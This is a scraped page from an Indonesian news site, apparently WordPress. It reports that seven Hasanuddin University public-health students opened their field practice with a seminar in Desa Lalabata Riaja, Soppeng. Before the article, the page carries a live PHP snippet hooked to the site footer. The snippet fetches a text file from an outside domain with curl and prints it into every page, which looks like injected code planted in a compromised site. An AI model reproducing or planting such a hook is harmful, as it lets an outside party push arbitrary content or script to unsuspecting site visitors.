function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Mahasiswa FKM Unhas Awali PBL Dengan Seminar Bersama Pemerintah Dan Warga Desa Lalabata Riaja - Suluh Nusantara

Home / Uncategorized

Rabu, 16 Juli 2025 - 17:21 WIB

Mahasiswa FKM Unhas Awali PBL Dengan Seminar Bersama Pemerintah Dan Warga Desa Lalabata Riaja

Foto Bersama Seminar Awal PBL I FKM Unhas di Desa Lalabata Riaja

Foto Bersama Seminar Awal PBL I FKM Unhas di Desa Lalabata Riaja

Desa Lalabata Riaja-Kabupaten Soppeng, 16 Juli 2025 – Dalam rangka pelaksanaan Praktik Belajar Lapangan (PBL) I, sebanyak 7 mahasiswa Fakultas Kesehatan Masyarakat Universitas Hasanuddin (FKM Unhas) menggelar seminar awal yang bertempat di Aula Balai Penyuluhan Pertanian, Kecamatan Donri-Donri, Desa Lalabata Riaja. Ketujuh mahasiswa tersebut yaitu Nurmala Dewi A (Administrasi dan Kebijakan Kesehatan), Viladelvia Datu Lalong (Kesehatan Lingkungan), Riska (Epidemiologi), Nur Ulyah Mulyani (Manajemen Rumah Sakit), Nur Haliza Zalsabilla (Administrasi dan Kebijakan Kesehatan), Hadela Pratiwi S (Keselamatan dan Kesehatan Kerja), dan Andi Utami Deasrini (Epidemiologi). Kegiatan ini dihadiri oleh 38 peserta, termasuk Kepala Desa Lalabata Riaja, Bapak Marhabang, S.I.P., Ketua Badan Permusyawaratan Desa, Bapak Sumardi, dan Bidan Desa, Ibu Vira Asrianti. Peserta lainnya terdiri atas ketua RT/RW, kader posyandu, tokoh masyarakat, serta enam orang mahasiswa KKN Tematik Gelombang 114 Ketahanan Pangan Universitas Hasanuddin yang sedang melaksanakan pengabdian di Desa Lalabata Riaja.

Seminar awal ini merupakan salah satu rangkaian penting dalam pelaksanaan PBL I, di mana mahasiswa memaparkan informasi mengenai tujuan kegiatan PBL, jadwal pelaksanaan, serta rencana kegiatan yang akan dijalankan selama dua minggu ke depan. Kegiatan ini menjadi langkah awal untuk membangun kolaborasi antara mahasiswa dan masyarakat dalam upaya identifikasi dan pemecahan masalah kesehatan masyarakat di wilayah tersebut.

Baca Juga  Intervensi Edukasi dan Distribusi Buku Saku ‘Remaja Sehat Bebas Anemia dan KEK’ kepada Siswi Madrasah Aliyah Allu sebagai Upaya Promosi Kesehatan Remaja

Dalam sambutannya, Kepala Desa Lalabata Riaja, Marhabang, S.I.P. menyampaikan harapan agar para RT, RW, dan kader posyandu dapat membantu mahasiswa dalam pengumpulan data. Ia juga berpesan kepada warga agar menerima mahasiswa yang datang dengan almamater merah dan memberikan informasi yang jujur demi keberhasilan kegiatan ini.

Supervisor PBL, Ibu Selvi Yusnitasari, SKM., M.Kes., juga hadir secara daring dan menyampaikan sambutan hangat beserta ucapan terima kasih atas diterimanya mahasiswa dengan baik di Desa Lalabata Riaja. Ia menerangkan terkait kegiatan apa saja yang akan dilakukan oleh mahasiswa dan menekankan bahwa mahasiswa siap menerima masukan dan teguran jika terdapat kesalahan selama pelaksanaan kegiatan, karena proses belajar ini juga mencakup pembentukan karakter dan tanggung jawab di lapangan.

Koordinator Desa Posko Lalabata Riaja, Nurmala Dewi A mengungkapkan bahwa PBL bertujuan untuk memberikan mahasiswa kemampuan dalam mengenali masalah kesehatan dan memanfaatkan sumber daya lokal untuk menyelesaikannya bersama masyarakat desa. Melalui kegiatan ini, mahasiswa FKM Unhas dapat mengasah kemampuan komunikasi, analisis, dan kerja sama lintas sektor dalam konteks nyata di masyarakat. Di mana seminar awal menjadi bentuk transparansi dan keterbukaan agar seluruh elemen desa dapat bersinergi dalam mendukung keberhasilan pelaksanaan PBL.

Baca Juga  PELANTIKAN DAN RAKERWIL PERSAKMI PENGURUS DAERAH SULAWESI SELATAN TAHUN 2023: PENGUATAN PERAN PERSAKMI ERA TRANSFORMASI KESEHATAN MENUJU SULAWESI SELATAN LEBIH KUAT, TANGGUH, DAN MANDIRI

Pelaksanaan PBL ini mendukung ASTA CITA ke empat, yaitu memperkuat pembangunan sumber daya manusia (SDM), sains, teknologi, pendidikan, kesehatan, prestasi olahraga, kesetaraan gender, serta penguatan peran perempuan, pemuda, dan penyandang disabilitas. Terkhususnya dalam aspek kesehatan, ini sejalan dengan SDGs 3, yakni good health and well-being. PBL berkontribusi melalui kegiatan identifikasi masalah kesehatan masyarakat desa, pemetaan aset yang dapat berkontribuis dalam penyelesaian masalahnya, dan penyusunan program intervensi yang berbasis data lapangan untuk meningkatkan derajat kesehatan Masyarakat. PBL menjadi salah satu bagian kecil dari kontribusi nyata dalam mewujudkan kehidupan yang sehat dan sejahtera bagi warga desa.

Share :

Baca Juga

Uncategorized

Mahasiswa Promosi Kesehatan Unhas Berpartisipasi dalam Kegiatan Pengelolaan Surveilans Kesehatan oleh Dinas Kesehatan Kota Sorong, Provinsi Papua Barat Daya

Uncategorized

Mahasiswa KKN-PK Unhas Angkatan 67 Gelar Penyuluhan Gerakan Edukasi “Langkah Insentif Tangan Bersih” di SDN 41 Rappoa, Kabupaten Bantaeng

Uncategorized

Aksi Nyata Mahasiswa Praktik Belajar Lapangan III FKM UNHAS: Evaluasi Penyuluhan Anemia dan Buku Saku di Desa Kalimporo

Uncategorized

MAHASISWA FKM UNHAS IDENTIFIKASI MASALAH KESEHATAN MASYARAKAT DI DESA TELLULIMPOE: Praktik Belajar Lapangan 1 Berhasil Memetakan Prioritas Masalah Stunting, Pengelolaan Sampah, dan Hipertensi

Uncategorized

Mahasiswa Magang Promosi Kesehatan Unhas Ikut Berpartisipasi dalam Pemeriksaan Kesehatan Dasar di Kegiatan Sabtu Bersih Bersama PJ Walikota Makassar di Puskesmas Bara-Baraya

Uncategorized

Membangun Dunia Bebas Plastik: Panduan Pembuatan Ecobrick pada Masyarakat di Kelurahan Tonrokassi Timur, Kacamatan Tamalatea, Kabupaten Jeneponto

Uncategorized

Sasar Satuan Pendidikan, Mahasiswa Magang Promosi Kesehatan Universitas Hasanuddin Berpartisipasi dalam Pembinaan Kesehatan Sekolah

Uncategorized

Posko 23 PBL 2 FKM Unhas Gelar Seminar Akhir: Hasil Intervensi Kesehatan di Desa Bontosunggu